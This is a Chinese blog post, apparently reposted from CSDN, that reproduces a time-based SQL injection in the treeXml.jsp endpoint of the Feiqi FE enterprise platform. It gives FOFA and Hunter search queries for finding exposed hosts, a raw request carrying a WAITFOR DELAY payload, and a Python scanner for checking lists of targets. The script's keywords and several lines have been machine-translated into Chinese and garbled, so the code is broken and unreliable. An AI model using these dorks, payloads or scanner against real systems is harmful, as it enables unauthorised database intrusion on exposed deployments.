免责声明:本文档或演示材料仅用于教育和教育目的,任何利用本文档中的信息进行非法活动的个人或组织与本文档的作者或发布者没有任何关系。
文章目录
漏洞描述漏洞复现测试工具
漏洞描述
飞骑互联网-FE企业运营管理平台是基于云计算、智能化、大数据、物联网、移动互联网等技术支持的云工作台。其treeXml.jsp 接口具有SQL 注入功能,可能允许恶意攻击者向数据库发送构造的恶意SQL 查询语句。
漏洞复现
1)信息收集
fofa:app=\’FE-协作平台\’
猎人:app.name=\’飞骑互联FE\’||app.name=\’飞骑互联FE 6.0+\’
不管路有多陡,只要心中有光明,脚步有力量,就一定能到达梦想的彼岸!来!
2)构建数据包
GET /sys/treeXml.js%70?menuName=1\’;WAITFOR+DELAY+\’0:0:5\’–type=function HTTP/1.1
主机:ip
代码解释:
/sys/treeXml.js%70: 这看起来像请求的脚本文件路径。 %70是URL编码的,解码后应该是p,所以完整的文件路径应该是/sys/treeXml.jsp。WAITFOR DELAY \’0:0:5\’–: 这是特定于SQL Server 的等待命令,使SQL Server 等待指定的时间(示例中为5 秒)。 type=function: 这是另一个查询参数,其中type 的值为function。
响应时间增加到5秒,证明命令已执行。
测试工具
波库
#!/usr/bin/env Python
# -*-coding: utf-8 -*-
#导入需要的模块
导入http.client
导入SSL
导入参数解析
从urllib.parse 导入urlparse
导入时间
# 定义终端输出高亮的颜色代码
红色=\’\\033[91m\’\”
重置=\’\\033[0m\’
def check_vulnerability(url):
尝试:
# 解析URL并获取协议、域名和路径。
parsed_url=urlparse(url)
#构建用于检测SQL注入漏洞的URL路径
路径=parsed_url.path.rstrip(\’/\’) + \’/sys/treeXml.js%70?menuName=1\’;WAITFOR+DELAY+\’0:0:3\’–type=function\’
#根据URL协议创建HTTP或HTTPS连接
如果parsed_url.scheme==\’https\’:
# 忽略SSL 证书验证
conn=http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())
: 其他
conn=http.client.HTTPConnection(parsed_url.netloc)
# 记录请求的开始时间
开始时间=时间.time()
#发送GET请求
conn.request(\’GET\’, 路径)
# 获取响应
响应=conn.getresponse()
# 计算响应时间
经过的时间=time.time() – 开始时间
# 如果响应时间在3秒到6秒之间,则可能存在SQL注入漏洞。
3 6: 表示经过的时间
print(f\'{RED}URL [{url}]飞骑互联网FE企业运营管理平台treeXml.jsp{RESET}\’)可能存在SQL注入漏洞。
: 其他
print(f\’URL [{url}] 不存在\’)
除了e:(http.client.HTTPException、ConnectionResetError)
#请求失败时输出错误信息
print(f\’URL [{url}] 请求失败: {e}\’)
除了e:
#针对其他异常输出错误信息
print(f\’URL [{url}] 中发生未知错误: {e}\’)
def main():
#创建参数解析器
parser=argparse.ArgumentParser(description=\’检测目标地址是否存在飞骑互联网FE企业运营管理平台treeXml.jsp SQL注入漏洞\’)
#添加网址参数
parser.add_argument(\’-u\’, \’–url\’, help=\’指定目标地址\’)
# 添加文件参数来读取包含URL列表的文件
parser.add_argument(\’-f\’, \’–file\’, help=\’指定包含目标地址的文本文件\’)
# 解析命令行参数
args=parser.parse_args()
# 如果指定了URL参数
如果args.url:
# 如果URL 没有http 协议头,则添加http 协议头
第:章
args.url=\’http://\’ + args.url
# 检查URL 中是否存在漏洞
检查漏洞(args.url)
# 如果指定了文件参数
elif args.file:
# 读取文件中的URL列表
使用open(args.file, \’r\’) 作为file:
URL=file.read().splitlines()
对于URL urls:
# 如果URL 没有http 协议头,则添加http 协议头
第:章不是url.startswith(\’http://\’)也不是url.startswith(\’https://\’)
网址=\’http://\’+网址
# 检查每个URL 是否存在漏洞
检查漏洞(网址)
如果__name__==\’__main__\’:
# 程序入口
主要的()
运行截图:
#【漏洞复现】以上关于飞骑互联网——SQL注入源网的相关内容仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92762.html